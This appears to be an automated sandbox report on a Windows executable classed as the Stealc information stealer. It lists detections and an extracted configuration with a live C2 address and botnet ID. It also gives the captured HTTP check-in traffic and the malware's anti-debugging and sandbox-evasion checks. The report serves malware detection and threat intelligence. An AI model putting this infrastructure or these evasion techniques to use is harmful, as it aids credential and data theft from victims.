Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1531601
MD5:	adde8b6ddcd55de3dde9f4ee627cc469
SHA1:	880f68fbfe3320a5aa1114ce977b7ea532d1be11
SHA256:	069c5ce1632725647ebe8ee55088da4f22f79f8d8922a72f70c35a87bbbc9764
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3448 cmdline: "C:\Users\user\Desktop\file.exe" MD5: ADDE8B6DDCD55DE3DDE9F4EE627CC469)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2050826095.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3448	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3448	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.860000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T12:44:04.440396+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.860000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0086C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00869AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00869AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00867240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00867240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00869B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00869B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00878EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00878EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00874910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00874910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0086DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0086E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0086ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00874570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00874570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086F68A FindFirstFileA,	0_2_0086F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00873EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00873EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0086F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008616D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0086DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0086BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0086BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 38 38 36 33 33 37 44 33 30 43 33 38 38 36 35 38 32 35 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="hwid"D9886337D30C3886582548------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="build"doma------HCFCAAEBGCAKKFIDBKJJ--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00864880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00864880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 38 38 36 33 33 37 44 33 30 43 33 38 38 36 35 38 32 35 34 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="hwid"D9886337D30C3886582548------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="build"doma------HCFCAAEBGCAKKFIDBKJJ--

Source: file.exe, 00000000.00000002.2091709653.0000000001193000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2091709653.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2091709653.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/5
Source: file.exe, 00000000.00000002.2091709653.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2091709653.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpI
Source: file.exe, 00000000.00000002.2091709653.000000000114E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37I

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6	0_2_00B990D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8	0_2_00C380B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2E06E	0_2_00C2E06E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B69861	0_2_00B69861
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCA9B8	0_2_00BCA9B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2A98F	0_2_00C2A98F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C29193	0_2_00C29193
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B5C93D	0_2_00B5C93D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AEC90F	0_2_00AEC90F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1F27D	0_2_00D1F27D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2FBF6	0_2_00C2FBF6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B22BEB	0_2_00B22BEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CCF3B4	0_2_00CCF3B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C34B12	0_2_00C34B12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C3B401	0_2_00C3B401
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C27412	0_2_00C27412
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C316C8	0_2_00C316C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B75ED6	0_2_00B75ED6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BBCE5B	0_2_00BBCE5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC9727	0_2_00BC9727
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D25775	0_2_00D25775

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 008645C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: tggnfgne ZLIB complexity 0.9947980416156671

Source: file.exe, 00000000.00000003.2050826095.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00878680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00878680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00873720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00873720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\B288Z01C.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1829376 > 1048576

Source: file.exe

Static PE information: Raw size of tggnfgne is bigger than: 0x100000 < 0x198800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.860000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tggnfgne:EW;tktydact:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tggnfgne:EW;tktydact:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00879860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00879860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c4e60 should be: 0x1bf963

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tggnfgne
Source: file.exe	Static PE information: section name: tktydact
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C798C1 push ecx; mov dword ptr [esp], esi	0_2_00C798DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC10C0 push 5DBEC2C0h; mov dword ptr [esp], eax	0_2_00CC1114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C4C0D6 push esi; mov dword ptr [esp], 5B88E23Eh	0_2_00C4C62D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB20D2 push ecx; mov dword ptr [esp], esp	0_2_00CB211A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C5B0E4 push 284E6957h; mov dword ptr [esp], ebx	0_2_00C5B113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C5B0E4 push eax; mov dword ptr [esp], edx	0_2_00C5B137
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D120F7 push edi; mov dword ptr [esp], ebp	0_2_00D12115
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58E0 push edx; mov dword ptr [esp], eax	0_2_00CE5928
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE58E0 push eax; mov dword ptr [esp], edx	0_2_00CE5938
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE189D push ecx; mov dword ptr [esp], eax	0_2_00CE18F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE189D push eax; mov dword ptr [esp], ebx	0_2_00CE18F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1D8BF push edx; mov dword ptr [esp], edi	0_2_00D1DE76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push ecx; mov dword ptr [esp], eax	0_2_00B9915F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push 1B96A761h; mov dword ptr [esp], eax	0_2_00B99171
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push eax; mov dword ptr [esp], edx	0_2_00B99180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push 0F2155B2h; mov dword ptr [esp], ecx	0_2_00B991A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push eax; mov dword ptr [esp], esi	0_2_00B991E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push 1DED5138h; mov dword ptr [esp], ebp	0_2_00B99219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B990D6 push 731F1E5Ah; mov dword ptr [esp], eax	0_2_00B992DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push ecx; mov dword ptr [esp], ebp	0_2_00C380D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push 58376BF9h; mov dword ptr [esp], eax	0_2_00C380D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push ebx; mov dword ptr [esp], 37EECD3Eh	0_2_00C380E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push esi; mov dword ptr [esp], ebp	0_2_00C381EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push 03B9F842h; mov dword ptr [esp], eax	0_2_00C3828F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push 2062E7B2h; mov dword ptr [esp], edi	0_2_00C38315
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push edx; mov dword ptr [esp], eax	0_2_00C383D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push ecx; mov dword ptr [esp], eax	0_2_00C3842C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push ecx; mov dword ptr [esp], 7FFBDCEAh	0_2_00C38486
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push 4DD7416Ch; mov dword ptr [esp], esp	0_2_00C38494
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push 5B14CB31h; mov dword ptr [esp], esp	0_2_00C38600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C380B8 push ebx; mov dword ptr [esp], 75ECB9B5h	0_2_00C38612

Source: file.exe

Static PE information: section name: tggnfgne entropy: 7.953565165226687

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00879860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13660

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1EFF second address: AC1F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C32CAA second address: C32CAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F19E second address: C3F1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F885D5FB128h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F1B3 second address: C3F1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F1B9 second address: C3F1BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F1BF second address: C3F1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F885C786DECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F5F0 second address: C3F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F88E second address: C3F892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F892 second address: C3F8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jns 00007F885D5FB126h 0x0000000f pop ecx 0x00000010 rdtsc
